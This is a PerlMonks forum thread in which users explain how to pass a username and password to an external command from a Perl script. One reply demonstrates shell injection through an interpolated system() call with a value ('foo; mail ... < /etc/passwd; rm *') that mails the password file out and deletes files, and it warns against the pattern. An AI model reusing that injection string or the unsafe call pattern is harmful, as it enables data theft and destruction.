Anonymous Monk has asked for the wisdom of the Perl Monks concerning the following question:

Hi Folks

I would like to invoke a system command
system("foo -args file");

but the system call I'm making needs a username and password.

How do I send these to the system call so that the program executes?

Thanks

MadraghRua

Replies are listed 'Best First'.
Re: passwords and system calls
by merlyn (Sage) on Aug 16, 2000 at 23:46 UTC
    If it asks for those on its standard input, then use:
    open CMD, "|foo -args file" or die; print CMD "$username\n$password\n"; close CMD; die "bad exit $?" if $?;

    If it instead needs to use /dev/tty, you'll need to get into the Expect module, or something else that handles pseudo-tty's.

    -- Randal L. Schwartz, Perl hacker

    P.S. I didn't expect those three lines to line up perfectly like that. I was using a proportional font to enter it. Really, I was! Honest! {grin}
Re: passwords and system calls
by Shendal (Hermit) on Aug 16, 2000 at 23:45 UTC
    I hate to say "it depends", but "it depends".

    For somethings, you can experiment around with echoing to the command. For example:
    system("echo $password | foo -args file");
    Some commands will allow you to put usernames/passwords in files and use those files as input. For example:
    system("foo -args file < passwordfile");
    You may also be able to use perl to do some of this echoing. For example:
    open(FOO,"| foo -args file"); print FOO "username\n"; print FOO "password\n"; close(FOO);
    You may also want to look into IPC::open2. This allows you to write to a program as well as get information from it.

    Finally, you may want to look at the Expect module. This allows you to wait on a particular prompt to which you can respond.

    Hopefully, one of the solutions above (or a combination thereof) will help you out. Good luck.

    Hope that helps,
    Shendal

    Update: The above is meant as quick example only. You will, of course, want to do some checking on your system calls before launching any programs, as KM points out in his well-crafted example below.
      system("echo $password | foo -args file");

      bad_system('foo; mail me@me.com < /etc/passwd; rm *'); sub bad_system { my $password = shift; system("echo $password | foo -args file"); } #Uh oh!

      Please use system() in a safe manner. The way you show here can allow for arbitrary commands to be run. Use in this way:

      system("/bin/echo", "arg1", "arg2");

      It is also a good idea to use -T and untaint data before using in a system() command. But, this way of using system() is more secure, and won't use sh. Refer to perldoc -f system and perldoc perlsec

      Cheers,
      KM

Re: passwords and system calls
by MadraghRua (Vicar) on Aug 17, 2000 at 02:48 UTC
    Hi Chaps,

    Thanks for the insight and information - it was great!. However, I eventually got it to work by setting environmental variables in the script, so:

    #!/usr/local/bin/perl
    print "start import!\n";
    $ENV{"USER"} = "user";
    $ENV{"PASS"} = "password";
    open (FOO, "|/path/to/bin/foo -args_here /path/to/filename.txt")
     || die "can't open up command pipe: $!\n";
    close(FOO) || die "can't close command pipe: $!\n";
    print "exiting gracefully!\n";

    Once again, thank you for your help.

    MadraghRua
    yet another biologist hacking perl....